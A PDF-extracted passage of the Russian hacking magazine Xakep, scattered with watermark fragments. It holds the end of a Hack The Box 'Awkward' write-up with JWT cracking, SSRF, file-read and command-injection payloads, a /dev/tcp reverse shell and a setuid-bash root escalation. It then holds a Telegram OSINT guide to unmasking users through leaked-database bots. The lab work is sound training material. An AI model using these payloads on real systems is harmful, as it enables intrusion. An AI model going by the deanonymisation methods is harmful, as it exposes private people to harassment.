Видим­ , что в JWT передается­ только­ имя пользовате­ ­ля и какой то иден­ тификатор­ . Первым­ делом стои­ т попробовать­ подобрать­ секре­ т JWT, чтобы­ можн­ о было сгенери­ ­ровать токен для другого­ пользовате­ ­ля. Перед брутом­ секрета­ нужн­ о переписать­ JWT в форма­ т программы­ John the Ripper с помощью скрипта­ jwt2john из набора jwtcrack.

john --wordlist=rockyou.txt jwt.txt

Резуль­ та­ т перебора­ секрета­ JWT

Теперь­ вставляем­ полученный­ секре­ т на сайт и меняем­ имя пользовате­ ­ля на bean.hill. Как мы узнали­ из запроса­ к API, это системный­ админис­ ­тра­тор. Генерируем­ новый токен и вставляем­ в куки. После­ обновления­ страницы­ ни аватар­ ­ка, ни имя пользовате­ ­ля не изменились­ , хотя поменялась­ информа­

ция о пользовате­ ­ле. Тогда­ я зашел в локальное­ хранили­ ­ще браузе­ ­ра и нашел там сохранен­ ­ное имя пользовате­ ­ля.

Локаль­ ное­ хранили­ ще­ браузе­ ра­

Обновля­ ем­ имя пользовате­ ля­ в хранили­ ще­ и видим изменения­ в странице­ .

Тестирова­ ние­ поля frstName

Попробовав­ несколь­ ко­ нагрузок­ для внедрения­ шаблона­ (SSTI), ни к чему не приходим­ , поэтому­ поищем другой­ вектор­ атаки­ .

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИНЖЕКТИМ КОМАНДЫ ОС РАЗНЫМИ СПОСОБАМИ

ПРОДВИЖЕНИЕ

SSRF

Перехо­ ­дим к следующе­ ­му обнаружен­ ­ному в Burp History API — store-status. Этот эндпоин­ т принима­ ­ет в качестве­ параметра­ URL и возвра­ ­щает содер­ жимое страницы­ .

Burp Repeater — запрос­ к API

Это типичная­ уязвимость­ SSRF, поэтому­ , используя­ Burp Intruder, прос­ канируем­ внутренние­ сервисы­ на разных­ портах­ . Будем перебирать­ номер порта­ .

SSRF — это атака­ на сервер­ , в результате­ которой злоумыш­ ленник­ получает­ возможность­ отправлять­ запросы­ от имени­ скомпро­ мети­ рован­ ного­ хоста­ . SSRF может быть использована­ в DoS-кампани­ ях­ для маскиров­ ки­ реального­ источника­ атаки­ . В таких случаях­ уязвимый­ хост выступа­ е­ т в качестве­ прок­ си сервера­ .

Burp Intruder — вкладка­ Positions

Burp Intruder — вкладка­ Payloads

Burp Intruder — результа­ т перебора­

В итоге­ находим внутренние­ сервисы­ на портах­ 3002 и 8080. На первом­ обнаружи­ ваем­ еще один API.

Содер­ жимое­ страницы­ на порте­ 3002

Давай­ исследуем­ эти API.

LFI

В API all-leave находим вызов функции­ exec, которая выполняе­ т команду­ awk с пользователь­ ­ским вводом­ (имя пользовате­ ­ля из токена). Вызову пред­ шеству­ ­ет фильтра­ ­ция пользователь­ ­ско­го ввода­ по указан­ ­ному черному­ спис­ ку символов­ .

Исходный­ код API all-leave

Вызов­ API от имени­ пользовате­ ля­ bean.hill

Эти символы­ мешают­ нам перейти­ к инъекции­ произволь­ ных­ команд ОС, но мы можем внедрить­ путь и получить содержимое­ произволь­ ного­ файла­ . Чтобы­ получить содержимое­ файла­ /etc/passwd, используем­ в качестве­ имени­ пользовате­ ля­ в токене последова­ тель­ ность­

'/ /etc/passwd '

Создание­ JWT

Содер­ жимое­ файла­ /etc/passwd

Теперь­ подумаем­ , какие файлы­ могут содержать­ важные­ для продвижения­ данные­ .

user

Первым­ делом я попытался­ прочитать­ приват­ ­ный ключ пользовате­ ­ля, но такого в системе­ не оказалось­ . Идея с историей­ команд bash также­ потер­ пела неудачу­ . А вот файл .bashrc, который представ­ ­ляет собой скрипт, запускающий­ ­ся каждый­ раз, когда­ пользователь­ открывае­ т новую командную­ оболоч­ ­ку, показал нам файл с интерес­ ­ным названи­ ­ем.

'/ /home/bean/.bashrc '

Содер­ жимое­ файла­ .bashrc

Читаем­ скрипт для бэкапа рабочего­ каталога­ пользовате­ ­ля.

'/ /home/bean/Documents/backup_home.sh '

Содер­ жимое­ файла­ backup_home.sh

Этот скрипт открывае­ т нам местополо­ ­жение файла­ бэкапа, и мы его, конечно­ же, скачива­ ­ем.

'/ /home/bean/Documents/backup/bean_backup_final.tar.gz '

curl -i -s -k -X 'GET' -H 'Host: hat-valley.htb' -H 'Connection:

close' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJ1c2VybmFtZSI6IicvIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY

2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3MjU5MjIyMH0.

P075hge2w85k97dORKjaOrqw7qLb_mLE7HLxX1htqYo' http://hat-valley.htb/

api/all-leave --output backup.tar.gz

В надежде­ найти­ какие нибудь заметки­ или конфиги­ с учетными­ данными­ ищем все упомина­ ния­ имени­ пользовате­ ля­ по всем файлам­ в архиве­ .

Поиск­ подстро­ ки­ bean

Видим­ интерес­ ­ную строку­ в файле­ content-DS1ZS1. Теперь прочита­ ­ем дан­ ный файл, чтобы­ понимать контекст­ .

Содер­ жимое­ файла­ content-DS1ZS1

Это список­ задач, а внизу­ видим логин и найден­ ную­ ранее строку­ . Пред­ полагаем­ , что это пароль, и авторизу­ емся­ по SSH.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь­ нам необходимо­ собрать­ информацию­ . Я, как обычно­ , применю­ для этог­ о скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информаци­ ю и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ю­ т сис­

тему на автомате­ .

Скрипт помог найти­ сразу­ несколь­ ­ко интерес­ ­ных вещей.

Из файла­ конфигура­ ­ций Nginx узнаем­ о сайте­ store.hat-valley.htb.

Содер­ жимое­ файла­ store.conf

В списке­ процес­ ­сов отмечаем­ работу программы­ inotifywait, которая отслежива­ ­ет изменение­ вот этого­ файла­ :

/var/www/private/leave_requests.csv

Список­ процес­ сов­

У пользовате­ ля­ christine есть почтовые­ сообщения­ .

Файлы­ с почтовыми­ сообщени­ ­ями

Перехо­ ­дим к сайту­ store.hat-valley.htb, для просмотра­ которого­ обновляем­ запись в файле­ /etc/hosts:

10.10.11.185 awkward.htb hat-valley.htb store.hat-valley.htb

user → web

Перехо­ ­дим на сайт, и нас встречае­ т HTTP-аутентифика­ ­ция.

Запрос­ учетных­ данных­

Попробовав­ несколь­ ­ко комбинаций­ , заходим от имени­ пользовате­ ­ля admin с полученным­ ранее пользователь­ ­ским паролем.

Главная­ страница­ сайта­ store.hat-valley.htb

У нас уже есть доступ­ к системе­ , нужно­ попробовать­ получить исходный код сайта­ , что значитель­ н­ о облегчит тестирова­ ние­ .

Содер­ жимое­ каталога­ /var/www/store/

Каталог­ product-details содержи­ т тексто­ ­вые файлы­ с данными­ о товарах.

Содер­ жимое­ каталога­ product-details

Покопав­ шись­ на сайте­ , замечаем­ , что если добавить файл в корзину­ , то на сервере­ в каталоге­ cart создает­ ся­ файл с содержимым­ корзины­ . Имя файла­ похоже на идентифика­ тор­ пользовате­ ля­ .

Добав­ ление­ товара в корзину­

Содер­ жимое­ каталога­ cart

В файле­ cart_action.php находим вызов функции­ system, куда передается­ команда­ sed. В самой команде­ используют­ ся­ данные­ , которыми­ может манипулиро­ вать­ пользователь­ .

Содер­ жимое­ файла­ cart_action.php

Но перед вызовом system принима­ емые­ параметры­ фильтру­ ются­ по черному­ списку­ символов­ . В списке­ нет кавычек, поэтому­ можно­ выполнить­ инъекцию­ команды­ . К примеру­ , команда­ sed может выполнять­ скрипт, указан­ ный­

в параметре­ -e. В качестве­ исполняемо­ го­ скрипта­ используем­ реверс шелл

/tmp/shell.sh.

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.73/4321 0>&1

А для инъекции­ команды­ — следующу­ ю нагрузку­ .

1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'

Оригиналь­ ный­ запрос­

Изменен­ ный­ запрос­

Ждем соединения­ на открытый­ листенер­ .

Сессия­ пользовате­ ля­ веб сервера­

web → root

Теперь­ перейдем­ к файлу­ /var/www/private/leave_requests.csv.

Содер­ ­жимое файла­ leave_requests.csv

Запус­ ­тим в другой­ сессии­ программу­ pspy64, чтобы­ отследить­ действия­

при изменении­ указан­ ­ного файла­ . Затем запишем в файл строку­ — тоже в формате­ CSV.

echo '111,222,333,444,555' >> leave_requests.csv

Логи­ pspy

В логах pspy видим вставку­ строки­ 111 в команду­ программы­ mail. Тут мы можем выполнить­ инъекци­ ю команды­ ОС, при этом команда­ выполняет­ ся­ от имени­ рута. Запустим­ скрипт, который присвои­ т S-бит файлу­ /bin/bash.

Когда­ у файла­ установ­ лен­ атрибу­ т setuid (S-атрибут­ ), обычный­ пользователь­ , запускающий­ этот файл, получае­ т повышение­ прав до пользовате­ ля­ — вла­ дельца­ файла­ в рамках­ запущенного­ процес­ са­ . После­ получения­ повышенных­ прав приложе­ ние­ может выполнять­ задачи, которые недоступны­ обычному­ пользовате­ лю­ . Из за возможнос­ ти­ состояния­ гонки­ многие­ операци­ онные­ системы­ игнориру­ ют­ S-атрибут­ , установ­ ленный­ shell-скриптам­ .

#!/bin/bash

chmod u+s /bin/bash

В первом­ поле CSV нужно­ передать строку­ " --exec="\!/tmp/lpe.sh".

echo '" --exec="\!/tmp/lpe.sh",2,3,4,5' >> leave_requests.csv

Логи­ pspy

Как видим, команда­ была выполнена­ , а значит­ , выполнен­ и наш скрипт.

Права­ файла­ /bin/bash

Запус­ каем­ bash в контек­ сте­ рута:

/bin/bash -p

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ShəLMā

Киберпанк, технокрыс и просто мерзкая личность.

schelma@protonmail.com

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Ильдар Кудашев onlinesearchagency@gmail.co m

ПРОБИВАЕМ ПОЛЬЗОВАТЕЛЕЙ

TELEGRAM

ПО ОТКРЫТЫМ ИСТОЧНИКАМ

Если­ в интернете­ кто то не прав, у тебя есть ровно­ два вари ­ анта. Первый­ — понять и забить, второй­ — найти­ обидчика­ и аккурат­ ­но начистить­ ему интерфейс. Но для начала этого­

самого обидчика­ нужно­ как минимум вычислить­ и по воз ­ можности­ деаноними­ ­зиро­вать. О том, как это сделать­ в «Телеграме­ », мы расска­ ­жем в сегодняшней­ статье.

Несмотря­ на то что «Телеграм­ » считает­ ся­ безопасным­ и защищенным­ мес ­ сендже­ ром­ , при желании в его недрах­ и глубинах­ можно­ отыскать­ большой­ объем­ информации­ о пользовате­ лях­ . А если подклю­ чить­ к поиску­ методы OSINT, то есть разведки­ по открытым­ источникам­ , сведений­ можно­ собрать­ еще больше­ . На помощь нам приду­ т специаль­ но­ обучен­ ные­ телеграм­ боты, поисковые­ системы­ и, конечно­ же, русская­ народная­ смекал­ ка­ .

 

Сбор информации­

о частной­

жизни­

граждан­

 

без их

согласия­

незаконен­ ,

 

помни­ об этом.

 

В этой статье расска­ зыва­

ется­

о поиске­ в откры ­

 

тых источниках­ данных­ , которые люди оставляют­

 

в публичном­

доступе­

сами. Но в любом случае­

 

нужно­ соблюдать­

требова­

ния­

 

законодатель­

ства­

 

и уважать­

право­ гражда­ н на сохранение­

их при ­

 

ватности­

. Поэтому­ информация­

в статье предос­ ­

 

тавлена­ исключитель­

но­ в ознакоми­

тель­ ных­ целях.

 

Авторы­ и редакция­

 

не

несут

ответствен­

ности­

 

за любой возможный­

вред, причинен­

ный­

исполь ­

 

зованием­

материалов­

этой публикации­

.

 

 

 

Любой­ поиск нужн­ о с чего то начинать. Пользователь­ «Телеграма­ » может, если захочет, сменить­ ник, имя и прочие­ данные­ своего­ аккаунта­ . Кроме­ одного­ : ID, или индивиду­ аль­ ного­ идентифика­ тора­ , который присваивает­ ся­ учетке­ при регистра­ ции­ и впоследс­ твии­ остается­ неизменным­ . Поэтому­ именн­ о его всегда­ использу­ ют в тех случаях­ , когда­ нужно­ указать­ на аккаунт­ максималь­ н­ о точно­ , он же однозначно­ идентифици­ руе­ т юзера­ в базах дан ­ ных. Вот этот ID интересу­ юще­ го­ нас персонажа­ и следуе­ т вычислить­ в первую­ очередь­ .

ИДЕНТИФИКАТОР И ОСНОВНЫЕ ДАННЫЕ

Проще­ всег­ о это сделать­ с помощью бесплат­ ного­ бота @username_to_id_bot. Пользовать­ ся­ им до безобразия­ просто­ : отдав команду­ /start, отправь боту юзернейм­ , идентифика­ тор­ которого­ ты желаешь­ узнать, скопипас­ ти­ ссыл ­ ку приглашение­ для чата или форвар­ дни­ сообщение­ от интересу­ юще­ го­ тебя пользовате­ ля­ . Существу­ е­ т еще частично­ платный­ бот @CheckID_AIDbot, который делае­ т все то же самое, что бесплат­ ный­ , но за деньги­ (и при этом еще безжалос­ тн­ о спами­ т рекламой­ ). Зачем он нужен — непонятно­ , наверное­ , бот предназна­ чен­ для тех, кто любит покупать по подписке­ то, что можно­ получить на халяву. Еще имеется­ специаль­ ное­ вложение­ скрипт, которое можно­ , например­ , запульнуть­ в чат: этот скрипт позволи­ т собрать­ иден ­ тификаторы­ участни­ ков­ дискуссии­ .

Если­ ты хочешь узнать способы­ сбора­ имен учас ­ тников­ чатов в «Телеграме­ », обязатель­ но­ про ­ читай статью «Парсим­ телегу. Как собирать имена­ участни­ ков­ чатов в Telegram».

Теперь­

можн­ о

попытаться­

отыскать­

полезную­

 

информацию­ ,

связан­ ную­

с полученным­

нами ID. Начать можно­ с высокотех­ нологич­

ной­

процеду­

ры­ ,

известной­

в узких хакерских­

кругах­ под названи­

ем­ «гуглеж­ ». Действи­

тель­

но­ ,

в индексе

 

поисковых­

систем­

вполне­

могут встретить­ ся­

данные­

из каких нибудь утечек­ или публичных­

баз — для этого­ в качестве­ запроса­

следуе­ т указать­

ID юзера­ «Телеграма­

» в кавычках­ . Если в «Гугле­ » и «Яндексе»

не нашлось­

ничего полезного­

, к нашим услугам­

имеются­

многочис­

ленные­

боты, большинс­

тв­ о которых, правда­ , предос­ тавля­

е­ т информацию­

на платной­

основе­

:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

«Глаз Бога» — платный­ OSINT-бот, о котором «Хакер» уже писал. Бота регулярн­ о банят, поэтому­ он меняе­ т свое название­ — актуаль­ ­ную версию­ можн­ о найти­ на его официаль­ ­ном сайте­ ;

@helper_inform_bot — боту можн­ о скормить­ запрос­ вида @XXXXXXX (где

XXXXXXX — ID пользовате­ ­ля Telegram), в ответ он выдаст фоточки­ из про ­

филя, имя юзера­ , никнейм­ и, если он привязан­ к профилю­ , номер телефо ­ на и наименова­ ние­ операто­ ра­ . Также­ можно­ искать информацию­ по име ­ ни, адресу­ электрон­ ной­ почты­ , ИНН и другим­ параметрам­ ;

@QuickOSINT_bot — еще один бот из нашей предыду­ ­щей подборки­ , помимо ID, он способен­ искать по телефону­ , email, госномеру­ или VIN автомоби­ ­ля, номеру паспорта­ , СНИЛС или ИНН;

@UsersSearchBot — платный­ бот со схожими­ возможнос­ ­тями, позволя­ ­ет бесплат­ ­но выполнить­ несколь­ ­ко запросов­ , чего в большинс­ ­тве случаев­ более чем достаточ­ ­но;

@Zernerda_bot) — кроме­ поиска­ в Telegram может искать и по номеру телефона­ , автомоби­ ­ля, ФИО, учеткам­ «Вконтакте­ », «Одноклассни­ ­кам»,

в Twitter, Instagram, Facebook, по e-mail, паспор­ ­тным данным­ , ИНН, IP-

адресу­ , User-Agent и в приват­ ­ных базах. Бесплат­ ­но ищет пользовате­ ­лей, имеющих­ ­ся всписке­ друзей­ и знакомых­ с родствен­ ­никами в VK и «Одноклассни­ ­ках». В отличие­ от других­ ботов умее­ т определять­ дату создания­ набора стикеров­ или эмодзи­ .

Все эти боты ищут информаци­ ю в утекших­ базах данных­ , которыми­ щедро­ делятся­ с анониму­ ­сами всевоз­ ­можные интернет магазины­ , службы­ доставки­ и кривору­ ­кие админы­ популярных­ пабликов­ . Выяснив­ имя пользовате­ ­ля, его

номер

телефона­

 

или

email, можно­

 

повторить­

поиск

с этими­

данными­

и получить дополнитель­

ные­

сведения­

, например­

известные­

пароли, учетки­

в социаль­ ных­ сетях, дату рождения­

, другие­ ники этого­ пользовате­

ля­ .

 

На следующем­

этапе­ можно­ попытаться­ найти­ что нибудь интерес­ ное­

с использовани­

ем­

специали­

зиро­

ван­ ных­

поисковых­

систем­

вроде­

lyzem.com — это поисковик­

по открытым­

чатам, каналам, ботам Telegram

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и сайту­

telegra.ph.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Lyzem

Резуль­ таты­ поиска­ , прямо­ скажем­ , получаются­ не слишком­ релевантны­ ми­ , но что то интерес­ ное­ с помощью этого­ сервиса­ найти­ можно­ . А вот еще три использующих­ технологии­ Google поисковика­ по «Телеграму­ », которые тоже могут оказать­ ся­ небесполез­ ны­ :

xtea.io;

TeleGaGo;

IntelligenceX.

Ну

и не следуе­ т забывать

о поисковике­

telegcrack.com, который ищет

 

 

 

 

 

 

по

заголовкам­

публикаций­

на сайте­ Telegra.ph. Этот инстру­ мен­ т больше­

полезен для сеошников­

, чем для исследова­

телей­

вроде­ нас, но пренеб­ регать­

им все таки не стоит­ .

 

 

 

 

 

 

telegcrack.com

ПОИСК ПО НИКУ

Перехо­ дим­ к водным­ процеду­ рам­ поиску­ по нику, который нам удалось­ уста ­ новить на предыду­ щем­ этапе­ . Для этого­ восполь­ зуем­ ся­ специали­ зиро­ ван­ ­ ными ресурсами­ , позволя­ ющи­ ми­ узнать, на каких сайтах­ в интернете­ встре ­ чается­ этот псевдоним­ или имя пользовате­ ля­ . Каждый­ такой инстру­ мент­ используе­ т собствен­ ну­ ю базу проверя­ емых­ платформ­ , поэтому­ лучше­ задей ­ ствовать­ каждый­ из них по очереди­ — вдруг один сообщи­ т что то, о чем умол ­ чат другие­ . Вот список­ самых полезных­ ресурсов­ в этой категории­ :

@maigret_osint_bot — этот бот используе­ т базу, состоящу­ ю из более чем 3000 сайтов­ ;

@SovaAppBot — бесплат­ ­ный бот для поиска­ информации­ из открытых­ источников­ по никней­ ­му, email, в социаль­ ­ной сети «Вконтакте­ » и на других­ площад­ ­ках;

NaMeCheck — сайт, проверя­ ­ющий введен­ ­ное имя или ник более чем по 90 сайтам­ и 30 доменным­ зонам;

Instantusername — позволя­

е­ т

проверить­

,

занято ли указан­ ное­

имя

 

 

 

 

 

 

в популярных­ социаль­ ных­ сетях, на имиджбор­

дах­ и других­ публичных­

сер ­

 

висах. Затем можн­ о просмотреть­

занятые учетки­ на каждом­

из этих сайтов­

 

вручную­ ;

 

 

 

 

 

 

NameCheckUp — аналог­ предыду­ ­щего сервиса­ : соцсетей­ здесь меньше­ , зато предлага­ ­ется провер­ ­ка по международ­ ­ным доменам (можно­ заодно­ зарегистри­ ­ровать парочку­ свобод­ ­ных);

Namecheckr — еще один сервис­ , подобный­ двум предыду­ ­щим;

SangMataInfo — бот, позволя­ ­ющий отследить­ истори­ ю форвардин­ ­га любого сообщения­ в «Телеграме­ ». Если форвар­ ­днуть ему сообщение­ , он покажет список­ пользовате­ ­лей, пересылав­ ­ших его до этого­ друг другу­ .

Имее­ т смысл поискать­ имя пользовате­ ля­ в сервисах­ для админис­ тра­ торов­ телеграм­ каналов и специалис­ тов­ по рекламе­ . Здесь иногда­ встречают­ ся­ упомина­ ния­ человека­ , его юзерней­ ма­ и ID. Также­ эти инстру­ мен­ ты­ полезны­ при исследова­ нии­ каналов и поиске­ их владель­ ца­ :

telegramdb.org — база данных­ по телеграм­ каналам, содержи­ т сводную­ информаци­ ю о них и общую статис­ ­тику;

telemetr.me — еще один каталог телеграм­ каналов для рекламщи­ ­ков, он может оказать­ ­ся полезен при поиске­ владель­ ­цев канала;

tgstat.ru — сводная­ статис­ ­тика и аналити­ ­ка популярности­ и посещаемос­ ­ти каналов.

Есть одна интерес­ ная­ особен­ ность­ и у блог платформы­ «Яндекс Дзен»: она позволя­ е­ т владель­ цам­ телеграм­ каналов автомати­ чес­ ки­ настро­ ить­ репост своих­ публикаций­ . Нам же это, в свою очередь­ , дает возможность­ отыскать­ блог автора­ какого нибудь аноним­ ного­ телеграм­ канала и выяснить­ его ник. Для этог­ о нужн­ о скопиро­ вать­ текст поста­ из телеги и, заключив­ его в кавычки­ , погуглить­ . Ник будет отображать­ ся­ в самой ссылке­ : https://dzen.ru/ username. Если обнаружен­ ный­ поиском­ блог дублиру­ е­ т все посты­ из инте ­ ресующе­ г­ о нас телеграм­ канала, вполне­ вероятно­ , что автор у них один и тот же. Описание­ странич­ ки­ в «Дзене­ » может также­ содержать­ аватар­ ку­ автора­ , его имя и иные полезные­ сведения­ .

Если­ тебе кажется­ , что ты нашел несколь­ ко­ аккаунтов­ юзера­ в «Телег ­ раме», но не уверен­ , что все они принад­ лежа­ т ему, или ты подозрева­ ешь­ , что он является­ админом­ какого либо канала, можно­ помониторить­ изменение­ онлайн статуса­ этог­ о человека­ с помощью специаль­ ного­ инстру­ мен­ та­ под названи­ ем­ TelegramOnlineSpy. Тулза­ позволя­ е­ т отследить­ время­ захода пользовате­ ля­ в сеть с несколь­ ких­ аккаунтов­ , сопоставить­ его и сделать­ соот ­ ветству­ ющие­ выводы.

Ну и напоследок­ не помешае­ т поискать­ информацию­ по нику пользовате­ ­ ля в альтер­ ­натив­ных поисковиках­ , список­ которых ты можешь найти­ вот в этом посте­ . Как говорится­ , полезной­ информации­ много­ не бывает­ .

ВЫЯВЛЯЕМ ИНТЕРЕСЫ

Понима­ ние­ того, чем интересу­ ется­ тот или иной человек, позволи­ т составить­ более целостну­ ю картину­ его личности­ . Один из способов­ выяснить­ круг его интересов­ — собрать­ список­ чатов, в которых этот юзер состоит­ . Кроме­ того, в чатах и группах­ можн­ о отыскать­ сообщения­ пользовате­ ля­ и выяснить­ о нем что нибудь любопытное­ . Вот два бота, позволя­ ющие­ решить эту задачу:

@ibhldr_bot;

@telesint_bot.

Вступив­ в группу­ , в которой состои­ т интересу­ ющий­ нас пользователь­ , можно­ выгрузить­ истори­ ю сообщений­ с помощью функции­ «Экспорт истории­ чата» (она доступна­ в десктоп­ ной­ версии­ «Телеграма­ »). Для анализа­ этой истории­ лучше­ всег­ о использовать­ программу­ «Архивари­ ус­ 3000», которая позволя­ ет­ выискивать­ в переписке­ такие сущности­ , как номер телефона­ , адреса­ элек ­ тронной­ почты­ , URL, IP-адреса­ , а также­ считать­ частоту­ их использования­ . Весьма­ полезная­ вещь, которая нередко­ помогае­ т находить забытые авто ­ рами сообщений­ ссылки­ на свои блоги­ и личные­ кабинеты­ , давно­ потертые­ контакты­ и страницы­ в социаль­ ных­ сетях.

КНИГА ЛИЦ

Если­ тебе удалось­ раздобыть­ аватар­ ку­ или портре­ т интересу­ юще­ го­ тебя пер ­ сонажа, имее­ т смысл поискать­ человека­ с этой фотографии­ (или похожего­ на него) в социаль­ ных­ сетях и различных­ пабликах­ . Еще можно­ составить­ спи ­ сок юзеров­ , использующих­ одну и ту же аватар­ ку­ на разных­ сайтах­ , — воз ­ можно, несколь­ к­ о таких учетных­ записей принад­ лежа­ т одному­ и тому же поль ­ зователю­ . Вот инстру­ мен­ ты­ , которые помогут тебе решить эту задачу:

FaceCheck — служба­ поиска­ по фото в зарубежных­ соцсетях­ ;

Search4faces — то же самое, но по «Вконтакте­ » и «Одноклассни­ ­кам»;

Pimeyes — качествен­ ­ный, но платный­ поиск по картинкам­ (в телеграм­ боте этог­ о сервиса­ можн­ о выполнить­ три бесплат­ ­ных поиска­ );

ImageSearch.org — бесплат­ ­ный поиск похожих картинок­ в интернете­ ;

Tineye.com — этот сервис­ в представ­ ­лени­ях не нуждает­ ­ся;

Reverse Image Search — аналог­ Tineye;

Karmadecay — поиск похожих изображений­ в Reddit.

ВЫВОДЫ

Представ­ ленный­ в этой статье список­ инстру­ мен­ тов­ , безусловно­ , далеко не исчерпывающий­ , но он может оказать­ ся­ крайне­ полезным­ в качестве­ отправной­ точки­ . Если ты регулярно­ пользуешь­ ся­ какими то другими­ сер ­ висами для поиска­ информации­ о пользовате­ лях­ телеги, не забудь поделить ­ ся ссылками­ в коммента­ риях­ .

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИИ-ПОМОЩНИКИ, РАБОТА С JSON

И ПРИЯТНЫЕ МЕЛОЧИ, КОТОРЫЕ ПРИГОДЯТСЯ В РАБОТЕ

Соскучил­

­ся по нашим подборкам­

утилит­ ?

 

 

 

 

 

 

Сейчас­

исправим­ ! Сегодня­ я принес­

тебе

 

 

 

заморские­

диковинки­ , которые и код

 

 

 

напишут,

 

и

отладят­

его, и

расска­ ­жут,

 

 

 

 

 

 

 

как работу правиль­

­но сделать­

. А бонусом

Польский Кот

 

 

 

 

 

 

 

 

 

 

 

еще немного­

штук, которым ты и сам най ­

 

 

 

дешь примене­

­ние. Поехали­ !

 

 

 

 

 

 

Это уже шестая­ моя подборка­ утилит­ , облегчающих­ жизнь в мелочах. Бла ­ годарные­ читатели­ продол­ жа­ ют открывать­ передо мной свои кладов­ ки­ , а я выношу оттуда­ и показыва­ ю на страницах­ «Хакера» самое лучшее­ .

